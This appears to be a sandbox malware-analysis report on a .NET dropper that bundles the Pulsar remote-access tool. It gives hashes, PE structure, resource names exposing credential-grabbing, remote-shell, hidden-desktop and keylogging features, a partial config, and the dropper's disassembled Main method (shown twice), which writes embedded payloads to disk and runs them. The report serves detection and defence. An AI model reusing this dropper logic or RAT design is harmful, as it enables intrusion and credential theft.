Malicious
Malicious

421a3d6d50dfe2c4cb472d43f0a0d547

Share on LinkedIn
Print
PE Executable
MD5: 421a3d6d50dfe2c4cb472d43f0a0d547
Size: 7.05 MB
application/x-dosexec
Ctrl + scroll to zoom · drag to pan

Get an AI-generated breakdown of this malware's behaviour, IOCs and recommendations.

AI analysis is available with Essential.
Unlock with Essential
Symbol Obfuscation Score Very low
MD5 421a3d6d50dfe2c4cb472d43f0a0d547
Sha1 4c80cf45f02b20d996b1bca9cb9d9fe4ede2f733
Sha256 bc9f8ebefe5505eb504755f12e4e29f40b4d6ff2662bf519b1d425c66ab16e6b
Sha384 8e38abefd528e8f13b9cf1b6b49eeced8065e021a35156f9b9b2bcaf1e2483b6af6bdd97f92b378ade415113a8570ab9
Sha512 0024d16f6e41e218f567309de5f18a7fe1f03b6f1a4326dbb3cb5c2296893787f6c76cf249c2be49e1fe79035057fcd80906891f2ce3413542b78a8435322407
SSDeep 196608:OHI19gBy656kqCaCbKn20erw4CkdggvEUq10vu:GIUBy86KLbKCrwJFUq+
TLSH 8F66BE17C4533A19F40B48D0CCDEE5DEF0C285643A2D82C09D89A4EAD26267B57DDBAF
PeID
.NET executableMicrosoft Visual C# / Basic .NETMicrosoft Visual C# / Basic.NET / MS Visual Basic 2005 - ASL Microsoft Visual C# v7.0 / Basic .NETMicrosoft Visual C++ v6.0 DLLMicrosoft Visual Studio .NETUPolyX 0.3 -> delikon
Structure
DosHeader
PE Header
Optional Header (x86)
Section Headers
.text
.rsrc
.reloc
Resources
RT_ICON
ID:0001
ID:0
RT_GROUP_CURSOR4
ID:0001
ID:0
RT_VERSION
ID:0001
ID:0
RT_MANIFEST
ID:0001
ID:0
.Net Resources
Malicious
ctwykhvoonct.Resources
Malicious
Pulsar.exe
Malicious
Structure
DosHeader
PE Header
Optional Header (x86)
Section Headers
.text
.rsrc
.reloc
Resources
RT_ICON
ID:0001
ID:0
ID:0002
ID:0
ID:0003
ID:0
ID:0004
ID:0
RT_GROUP_CURSOR4
ID:7F00
ID:0
RT_VERSION
ID:0001
ID:0
RT_MANIFEST
ID:0001
ID:0
.Net Resources
Pulsar.Server.Forms.FrmAbout.resources
$this.Icon
[NBF]root.IconData
Pulsar.Server.Forms.FrmFileManager.resources
downloadToolStripMenuItem.Image
[NBF]root.Data
[NBF]root.Data-preview.png
executeToolStripMenuItem.Image
[NBF]root.Data
[NBF]root.Data-preview.png
imgListDirectory.ImageStream
[NBF]root.Data
imgListTransfers.ImageStream
[NBF]root.Data
uploadToolStripMenuItem.Image
[NBF]root.Data
[NBF]root.Data-preview.png
Pulsar.Server.Forms.FrmHVNCFileSelection.resources
Pulsar.Server.Forms.FrmMain.resources
connectionToolStripMenuItem.Image
[NBF]root.Data
[NBF]root.Data-preview.png
disconnectToolStripMenuItem.Image
[NBF]root.Data
[NBF]root.Data-preview.png
fileManagerToolStripMenuItem.Image
[NBF]root.Data
[NBF]root.Data-preview.png
imgFlags.ImageStream
[NBF]root.Data
kematianGrabbingToolStripMenuItem.Image
[NBF]root.Data
[NBF]root.Data-preview.png
passwordRecoveryToolStripMenuItem.Image
[NBF]root.Data
[NBF]root.Data-preview.png
reconnectToolStripMenuItem.Image
[NBF]root.Data
[NBF]root.Data-preview.png
remoteDesktopToolStripMenuItem2.Image
[NBF]root.Data
[NBF]root.Data-preview.png
remoteShellToolStripMenuItem.Image
[NBF]root.Data
[NBF]root.Data-preview.png
showMessageboxToolStripMenuItem.Image
[NBF]root.Data
[NBF]root.Data-preview.png
uninstallToolStripMenuItem.Image
[NBF]root.Data
[NBF]root.Data-preview.png
updateToolStripMenuItem.Image
[NBF]root.Data
[NBF]root.Data-preview.png
visitWebsiteToolStripMenuItem.Image
[NBF]root.Data
[NBF]root.Data-preview.png
Pulsar.Server.Forms.FrmRegistryEditor.resources
imageRegistryDirectoryList.ImageStream
[NBF]root.Data
imageRegistryKeyTypeList.ImageStream
[NBF]root.Data
Pulsar.Server.Properties.Resources.resources
Pulsar_Server
[NBF]root.Data
[NBF]root.Data-preview.png
actions
[NBF]root.Data
[NBF]root.Data-preview.png
add
[NBF]root.Data
[NBF]root.Data-preview.png
application_add
[NBF]root.Data
[NBF]root.Data-preview.png
application_cascade
[NBF]root.Data
[NBF]root.Data-preview.png
application_delete
[NBF]root.Data
[NBF]root.Data-preview.png
application_edit
[NBF]root.Data
[NBF]root.Data-preview.png
application_osx_terminal
[NBF]root.Data
[NBF]root.Data-preview.png
application_view_xp_terminal
[NBF]root.Data
bell
[NBF]root.Data
[NBF]root.Data-preview.png
bricks
[NBF]root.Data
[NBF]root.Data-preview.png
broom
[NBF]root.Data
[NBF]root.Data-preview.png
bullet_green
[NBF]root.Data
[NBF]root.Data-preview.png
bullet_red
[NBF]root.Data
[NBF]root.Data-preview.png
cancel
[NBF]root.Data
[NBF]root.Data-preview.png
clear
[NBF]root.Data
[NBF]root.Data-preview.png
cog
[NBF]root.Data
[NBF]root.Data-preview.png
cog1
[NBF]root.Data
[NBF]root.Data-preview.png
computer
[NBF]root.Data
[NBF]root.Data-preview.png
computer_error
[NBF]root.Data
[NBF]root.Data-preview.png
computer_go
[NBF]root.Data
[NBF]root.Data-preview.png
delete
[NBF]root.Data
[NBF]root.Data-preview.png
drive_go
[NBF]root.Data
[NBF]root.Data-preview.png
emoticon_evilgrin
[NBF]root.Data
[NBF]root.Data-preview.png
eraser
[NBF]root.Data
[NBF]root.Data-preview.png
gd1515
[NBF]root.Data
gd2020
[NBF]root.Data
images
[NBF]root.Data
[NBF]root.Data-preview.png
keyboard_add
[NBF]root.Data
[NBF]root.Data-preview.png
keyboard_delete
[NBF]root.Data
[NBF]root.Data-preview.png
keyboard_magnify
[NBF]root.Data
[NBF]root.Data-preview.png
lightning
[NBF]root.Data
[NBF]root.Data-preview.png
money_dollar
[NBF]root.Data
[NBF]root.Data-preview.png
monitoring
[NBF]root.Data
[NBF]root.Data-preview.png
mouse
[NBF]root.Data
[NBF]root.Data-preview.png
mouse_add
[NBF]root.Data
[NBF]root.Data-preview.png
mouse_delete
[NBF]root.Data
[NBF]root.Data-preview.png
neon-green-dot-hi-3027026726
[NBF]root.Data
no-previewbmp
[NBF]root.Data
nuclear
[NBF]root.Data
[NBF]root.Data-preview.png
page_copy
[NBF]root.Data
[NBF]root.Data-preview.png
pencil
[NBF]root.Data
[NBF]root.Data-preview.png
refresh
[NBF]root.Data
[NBF]root.Data-preview.png
registry
[NBF]root.Data
[NBF]root.Data-preview.png
restart
[NBF]root.Data
[NBF]root.Data-preview.png
ruby
[NBF]root.Data
[NBF]root.Data-preview.png
save
[NBF]root.Data
[NBF]root.Data-preview.png
script_code
[NBF]root.Data
[NBF]root.Data-preview.png
server_link
[NBF]root.Data
[NBF]root.Data-preview.png
shutdown
[NBF]root.Data
[NBF]root.Data-preview.png
sound
[NBF]root.Data
[NBF]root.Data-preview.png
standby
[NBF]root.Data
[NBF]root.Data-preview.png
star_empty
[NBF]root.Data
[NBF]root.Data-preview.png
star_filled
[NBF]root.Data
[NBF]root.Data-preview.png
status_online
[NBF]root.Data
[NBF]root.Data-preview.png
textfield_rename
[NBF]root.Data
[NBF]root.Data-preview.png
transmit_blue
[NBF]root.Data
[NBF]root.Data-preview.png
uac_shield
[NBF]root.Data
[NBF]root.Data-preview.png
user
[NBF]root.Data
[NBF]root.Data-preview.png
user_thief
[NBF]root.Data
[NBF]root.Data-preview.png
webcam
[NBF]root.Data
[NBF]root.Data-preview.png
world_go
[NBF]root.Data
[NBF]root.Data-preview.png
wrench
[NBF]root.Data
[NBF]root.Data-preview.png
costura.discordrpc.dll.compressed
Structure
DosHeader
PE Header
Optional Header (x86)
Section Headers
.text
.rsrc
.reloc
Resources
RT_VERSION
ID:0001
ID:0
.Net Resources
DiscordRPC.xml
costura.discordrpc.pdb.compressed
costura.dnlib.dll.compressed
Structure
DosHeader
PE Header
Optional Header (x86)
Section Headers
.text
.rsrc
.reloc
Resources
RT_VERSION
ID:0001
ID:0
costura.mono.cecil.dll.compressed
Structure
DosHeader
PE Header
Optional Header (x86)
Section Headers
.text
.rsrc
.reloc
Resources
RT_VERSION
ID:0001
ID:0
costura.mono.cecil.pdb.compressed
costura.gma.system.mousekeyhook.dll.compressed
Structure
DosHeader
PE Header
Optional Header (x86)
Section Headers
.text
.rsrc
.reloc
Resources
RT_VERSION
ID:0001
ID:0
costura.naudio.asio.dll.compressed
Structure
DosHeader
PE Header
Optional Header (x86)
Section Headers
.text
.rsrc
.reloc
Resources
RT_VERSION
ID:0001
ID:0
costura.naudio.core.dll.compressed
Structure
DosHeader
PE Header
Optional Header (x86)
Section Headers
.text
.rsrc
.reloc
Resources
RT_VERSION
ID:0001
ID:0
costura.naudio.midi.dll.compressed
Structure
DosHeader
PE Header
Optional Header (x86)
Section Headers
.text
.rsrc
.reloc
Resources
RT_VERSION
ID:0001
ID:0
costura.naudio.wasapi.dll.compressed
Structure
DosHeader
PE Header
Optional Header (x86)
Section Headers
.text
.rsrc
.reloc
Resources
RT_VERSION
ID:0001
ID:0
costura.naudio.winforms.dll.compressed
Structure
DosHeader
PE Header
Optional Header (x86)
Section Headers
.text
.rsrc
.reloc
Resources
RT_VERSION
ID:0001
ID:0
.Net Resources
NAudio.WinForms.Gui.PanSlider.resources
$this.DefaultModifiers
$this.GridSize
$this.Language
NAudio.WinForms.Gui.VolumeSlider.resources
costura.naudio.winmm.dll.compressed
Structure
DosHeader
PE Header
Optional Header (x86)
Section Headers
.text
.rsrc
.reloc
Resources
RT_VERSION
ID:0001
ID:0
costura.newtonsoft.json.dll.compressed
[Authenticode]_5366eba8.p7b
Structure
DosHeader
PE Header
Optional Header (x86)
Section Headers
.text
.rsrc
.reloc
Resources
RT_VERSION
ID:0001
ID:0
costura.open.nat.dll.compressed
Structure
DosHeader
PE Header
Optional Header (x86)
Section Headers
.text
.rsrc
.reloc
Resources
RT_VERSION
ID:0001
ID:0
costura.bouncycastle.crypto.dll.compressed
[Authenticode]_f0ba58a2.p7b
Structure
DosHeader
PE Header
Optional Header (x86)
Section Headers
.text
.rsrc
.reloc
Resources
RT_VERSION
ID:0001
ID:0
costura.protobuf-net.dll.compressed
Structure
DosHeader
PE Header
Optional Header (x86)
Section Headers
.text
.rsrc
.reloc
Resources
RT_VERSION
ID:0001
ID:0
costura.system.text.json.dll.compressed
.Net Resources
FxResources.System.Text.Json.SR.resources
ILLink.Substitutions.xml
[Authenticode]_00573b17.p7b
Structure
DosHeader
PE Header
Optional Header (x86)
Section Headers
.text
.rsrc
.reloc
Resources
RT_VERSION
ID:0001
ID:0
costura.vestris.resourcelib.dll.compressed
Structure
DosHeader
PE Header
Optional Header (x86)
Section Headers
.text
.rsrc
.reloc
Resources
RT_VERSION
ID:0001
ID:0
costura.pulsar.common.dll.compressed
Structure
DosHeader
PE Header
Optional Header (x86)
Section Headers
.text
.rsrc
.reloc
Resources
RT_VERSION
ID:0001
ID:0
costura.metadata
obf.exe
Malicious
Structure
DosHeader
PE Header
Optional Header (x86)
Section Headers
a1 t w&
.text
.rsrc
.reloc
Resources
RT_ICON
ID:0001
ID:0
RT_GROUP_CURSOR4
ID:0001
ID:0
RT_VERSION
ID:0001
ID:0
STICH beta Structural Threat Infection Chain Hash

A content-independent fingerprint of the infection method: successive formats, internal objects and MITRE techniques from the initial file to each final payload.

STICH Path = the fingerprint (canonical chain with techniques) STICH Shape = structure only Only determinant branches produce STICH Paths.
5 / 5
Path pe:exe~T1059.007>pe:dll>pe:rsrc>bin
Shape pe:exe>pe:dll>pe:rsrc>bin
malicious 4 nodes
Path pe:exe~T1059.007>pe:dll>bin
Shape pe:exe>pe:dll>bin
malicious 3 nodes
Config. Field Value
ref_elem_0x0000000E Pulsarhuhuhuhuhuhuhu
ref_elem_0x00000016 obf.exhuhuhuhuhuhuhu
Workpath %Aphuhuhuhu
SPL -huhuhuhu
Mutex Kv1srhuhuhuhuhuhuhu
We extracted this malware's full configuration (C2, credentials, campaign IDs…).
Unlock with Essential
Name Value
Info
PE Detect: PeReader OK (file layout)
Module Name
Output.exe
Full Name
Output.exe
EntryPoint
System.Void Program::Main()
Scope Name
Output.exe
Scope Type
ModuleDef
Kind
Windows
Runtime Version
v4.0.30319
Tables Header Version
512
WinMD Version
<null>
Assembly Name
Output
Assembly Version
1.6.0.0
Assembly Culture
<null>
Has PublicKey
False
PublicKey Token
<null>
Target Framework
<null>
Total Strings
11
Main Method
System.Void Program::Main()
Main IL Instruction Count
159
Main IL
ldc.i4.1 <null>
stloc.s V_5
call System.Boolean Program::CreateMutex()
brtrue.s IL_0013: call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError()
ldc.i4.2 <null>
stloc.s V_5
ldc.i4.0 <null>
call System.Void System.Environment::Exit(System.Int32)
call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError()
ldc.i4.1 <null>
stloc.3 <null>
ldc.i4.5 <null>
stloc.s V_5
ldsfld System.Collections.Generic.List`1<System.String> Program::List
callvirt System.Collections.Generic.List`1/Enumerator<System.String> System.Collections.Generic.List`1<System.String>::GetEnumerator()
stloc.2 <null>
br IL_0130: ldloca.s V_2
ldloca.s V_2
call System.String System.Collections.Generic.List`1/Enumerator<System.String>::get_Current()
stloc.0 <null>
ldc.i4.6 <null>
stloc.s V_5
ldsfld System.String Program::Workpath
call System.Object Program::GETP(System.String)
ldstr \
call System.Object Microsoft.VisualBasic.CompilerServices.Operators::ConcatenateObject(System.Object,System.Object)
ldloc.0 <null>
call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object)
ldsfld System.String Program::SPL
ldc.i4.m1 <null>
ldc.i4.0 <null>
call System.String[] Microsoft.VisualBasic.Strings::Split(System.String,System.String,System.Int32,Microsoft.VisualBasic.CompareMethod)
ldc.i4.0 <null>
ldelem.ref <null>
call System.Object Microsoft.VisualBasic.CompilerServices.Operators::ConcatenateObject(System.Object,System.Object)
call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object)
stloc.1 <null>
ldc.i4.7 <null>
stloc.s V_5
ldloc.0 <null>
call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object)
ldsfld System.String Program::SPL
ldc.i4.m1 <null>
ldc.i4.0 <null>
call System.String[] Microsoft.VisualBasic.Strings::Split(System.String,System.String,System.Int32,Microsoft.VisualBasic.CompareMethod)
ldc.i4.2 <null>
ldelem.ref <null>
ldstr True
ldc.i4.0 <null>
call System.Int32 Microsoft.VisualBasic.CompilerServices.Operators::CompareString(System.String,System.String,System.Boolean)
ldc.i4.0 <null>
bne.un.s IL_00CB: ldc.i4.s 13
ldc.i4.8 <null>
stloc.s V_5
ldloc.1 <null>
call System.Boolean System.IO.File::Exists(System.String)
brtrue.s IL_00C9: br.s IL_0123
ldc.i4.s 9
stloc.s V_5
ldloc.1 <null>
ldloc.0 <null>
call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object)
ldsfld System.String Program::SPL
ldc.i4.m1 <null>
ldc.i4.0 <null>
call System.String[] Microsoft.VisualBasic.Strings::Split(System.String,System.String,System.Int32,Microsoft.VisualBasic.CompareMethod)
ldc.i4.0 <null>
ldelem.ref <null>
call System.Byte[] Program::GetTheResource(System.String)
call System.Void System.IO.File::WriteAllBytes(System.String,System.Byte[])
ldc.i4.s 10
stloc.s V_5
ldloc.1 <null>
call System.Diagnostics.Process System.Diagnostics.Process::Start(System.String)
pop <null>
br.s IL_0123: ldc.i4.s 19
ldc.i4.s 13
stloc.s V_5
ldc.i4.s 14
stloc.s V_5
ldloc.1 <null>
ldloc.0 <null>
call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object)
ldsfld System.String Program::SPL
ldc.i4.m1 <null>
ldc.i4.0 <null>
call System.String[] Microsoft.VisualBasic.Strings::Split(System.String,System.String,System.Int32,Microsoft.VisualBasic.CompareMethod)
ldc.i4.0 <null>
ldelem.ref <null>
call System.Byte[] Program::GetTheResource(System.String)
call System.Void System.IO.File::WriteAllBytes(System.String,System.Byte[])
ldc.i4.s 15
stloc.s V_5
ldloc.0 <null>
call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object)
ldsfld System.String Program::SPL
ldc.i4.m1 <null>
ldc.i4.0 <null>
call System.String[] Microsoft.VisualBasic.Strings::Split(System.String,System.String,System.Int32,Microsoft.VisualBasic.CompareMethod)
ldc.i4.1 <null>
ldelem.ref <null>
ldstr True
ldc.i4.0 <null>
call System.Int32 Microsoft.VisualBasic.CompilerServices.Operators::CompareString(System.String,System.String,System.Boolean)
ldc.i4.0 <null>
bne.un.s IL_0123: ldc.i4.s 19
ldc.i4.s 16
stloc.s V_5
ldloc.1 <null>
call System.Diagnostics.Process System.Diagnostics.Process::Start(System.String)
pop <null>
ldc.i4.s 19
stloc.s V_5
call System.Void System.GC::Collect()
ldc.i4.s 20
stloc.s V_5
ldloca.s V_2
call System.Boolean System.Collections.Generic.List`1/Enumerator<System.String>::MoveNext()
brtrue IL_002D: ldloca.s V_2
ldloca.s V_2
constrained. System.Collections.Generic.List`1/Enumerator<System.String>
callvirt System.Void System.IDisposable::Dispose()
leave IL_01F8: ldloc.s V_4
ldloc.s V_4
br.s IL_0156: ldc.i4.0
ldloc.s V_4
ldc.i4.1 <null>
add <null>
ldc.i4.0 <null>
stloc.s V_4
switch dnlib.DotNet.Emit.Instruction[]
leave.s IL_01ED: ldc.i4 -2146828237
ldloc.s V_5
stloc.s V_4
ldloc.3 <null>
switch dnlib.DotNet.Emit.Instruction[]
leave.s IL_01ED: ldc.i4 -2146828237
isinst System.Exception
ldnull <null>
cgt.un <null>
ldloc.3 <null>
ldc.i4.0 <null>
cgt.un <null>
and <null>
ldloc.s V_4
ldc.i4.0 <null>
ceq <null>
and <null>
endfilter <null>
castclass System.Exception
call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception)
leave.s IL_01B8: ldloc.s V_5
ldc.i4 -2146828237
call System.Exception Microsoft.VisualBasic.CompilerServices.ProjectData::CreateProjectError(System.Int32)
throw <null>
ldloc.s V_4
brfalse.s IL_0201: ret
call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError()
ret <null>
Module Name
Output.exe
Full Name
Output.exe
EntryPoint
System.Void Program::Main()
Scope Name
Output.exe
Scope Type
ModuleDef
Kind
Windows
Runtime Version
v4.0.30319
Tables Header Version
512
WinMD Version
<null>
Assembly Name
Output
Assembly Version
1.6.0.0
Assembly Culture
<null>
Has PublicKey
False
PublicKey Token
<null>
Target Framework
<null>
Total Strings
11
Main Method
System.Void Program::Main()
Main IL Instruction Count
159
Main IL
ldc.i4.1 <null>
stloc.s V_5
call System.Boolean Program::CreateMutex()
brtrue.s IL_0013: call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError()
ldc.i4.2 <null>
stloc.s V_5
ldc.i4.0 <null>
call System.Void System.Environment::Exit(System.Int32)
call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError()
ldc.i4.1 <null>
stloc.3 <null>
ldc.i4.5 <null>
stloc.s V_5
ldsfld System.Collections.Generic.List`1<System.String> Program::List
callvirt System.Collections.Generic.List`1/Enumerator<System.String> System.Collections.Generic.List`1<System.String>::GetEnumerator()
stloc.2 <null>
br IL_0130: ldloca.s V_2
ldloca.s V_2
call System.String System.Collections.Generic.List`1/Enumerator<System.String>::get_Current()
stloc.0 <null>
ldc.i4.6 <null>
stloc.s V_5
ldsfld System.String Program::Workpath
call System.Object Program::GETP(System.String)
ldstr \
call System.Object Microsoft.VisualBasic.CompilerServices.Operators::ConcatenateObject(System.Object,System.Object)
ldloc.0 <null>
call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object)
ldsfld System.String Program::SPL
ldc.i4.m1 <null>
ldc.i4.0 <null>
call System.String[] Microsoft.VisualBasic.Strings::Split(System.String,System.String,System.Int32,Microsoft.VisualBasic.CompareMethod)
ldc.i4.0 <null>
ldelem.ref <null>
call System.Object Microsoft.VisualBasic.CompilerServices.Operators::ConcatenateObject(System.Object,System.Object)
call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object)
stloc.1 <null>
ldc.i4.7 <null>
stloc.s V_5
ldloc.0 <null>
call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object)
ldsfld System.String Program::SPL
ldc.i4.m1 <null>
ldc.i4.0 <null>
call System.String[] Microsoft.VisualBasic.Strings::Split(System.String,System.String,System.Int32,Microsoft.VisualBasic.CompareMethod)
ldc.i4.2 <null>
ldelem.ref <null>
ldstr True
ldc.i4.0 <null>
call System.Int32 Microsoft.VisualBasic.CompilerServices.Operators::CompareString(System.String,System.String,System.Boolean)
ldc.i4.0 <null>
bne.un.s IL_00CB: ldc.i4.s 13
ldc.i4.8 <null>
stloc.s V_5
ldloc.1 <null>
call System.Boolean System.IO.File::Exists(System.String)
brtrue.s IL_00C9: br.s IL_0123
ldc.i4.s 9
stloc.s V_5
ldloc.1 <null>
ldloc.0 <null>
call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object)
ldsfld System.String Program::SPL
ldc.i4.m1 <null>
ldc.i4.0 <null>
call System.String[] Microsoft.VisualBasic.Strings::Split(System.String,System.String,System.Int32,Microsoft.VisualBasic.CompareMethod)
ldc.i4.0 <null>
ldelem.ref <null>
call System.Byte[] Program::GetTheResource(System.String)
call System.Void System.IO.File::WriteAllBytes(System.String,System.Byte[])
ldc.i4.s 10
stloc.s V_5
ldloc.1 <null>
call System.Diagnostics.Process System.Diagnostics.Process::Start(System.String)
pop <null>
br.s IL_0123: ldc.i4.s 19
ldc.i4.s 13
stloc.s V_5
ldc.i4.s 14
stloc.s V_5
ldloc.1 <null>
ldloc.0 <null>
call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object)
ldsfld System.String Program::SPL
ldc.i4.m1 <null>
ldc.i4.0 <null>
call System.String[] Microsoft.VisualBasic.Strings::Split(System.String,System.String,System.Int32,Microsoft.VisualBasic.CompareMethod)
ldc.i4.0 <null>
ldelem.ref <null>
call System.Byte[] Program::GetTheResource(System.String)
call System.Void System.IO.File::WriteAllBytes(System.String,System.Byte[])
ldc.i4.s 15
stloc.s V_5
ldloc.0 <null>
call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object)
ldsfld System.String Program::SPL
ldc.i4.m1 <null>
ldc.i4.0 <null>
call System.String[] Microsoft.VisualBasic.Strings::Split(System.String,System.String,System.Int32,Microsoft.VisualBasic.CompareMethod)
ldc.i4.1 <null>
ldelem.ref <null>
ldstr True
ldc.i4.0 <null>
call System.Int32 Microsoft.VisualBasic.CompilerServices.Operators::CompareString(System.String,System.String,System.Boolean)
ldc.i4.0 <null>
bne.un.s IL_0123: ldc.i4.s 19
ldc.i4.s 16
stloc.s V_5
ldloc.1 <null>
call System.Diagnostics.Process System.Diagnostics.Process::Start(System.String)
pop <null>
ldc.i4.s 19
stloc.s V_5
call System.Void System.GC::Collect()
ldc.i4.s 20
stloc.s V_5
ldloca.s V_2
call System.Boolean System.Collections.Generic.List`1/Enumerator<System.String>::MoveNext()
brtrue IL_002D: ldloca.s V_2
ldloca.s V_2
constrained. System.Collections.Generic.List`1/Enumerator<System.String>
callvirt System.Void System.IDisposable::Dispose()
leave IL_01F8: ldloc.s V_4
ldloc.s V_4
br.s IL_0156: ldc.i4.0
ldloc.s V_4
ldc.i4.1 <null>
add <null>
ldc.i4.0 <null>
stloc.s V_4
switch dnlib.DotNet.Emit.Instruction[]
leave.s IL_01ED: ldc.i4 -2146828237
ldloc.s V_5
stloc.s V_4
ldloc.3 <null>
switch dnlib.DotNet.Emit.Instruction[]
leave.s IL_01ED: ldc.i4 -2146828237
isinst System.Exception
ldnull <null>
cgt.un <null>
ldloc.3 <null>
ldc.i4.0 <null>
cgt.un <null>
and <null>
ldloc.s V_4
ldc.i4.0 <null>
ceq <null>
and <null>
endfilter <null>
castclass System.Exception
call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception)
leave.s IL_01B8: ldloc.s V_5
ldc.i4 -2146828237
call System.Exception Microsoft.VisualBasic.CompilerServices.ProjectData::CreateProjectError(System.Int32)
throw <null>
ldloc.s V_4
brfalse.s IL_0201: ret
call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError()
ret <null>
An error has occurred. This application may no longer respond until reloaded. Reload 🗙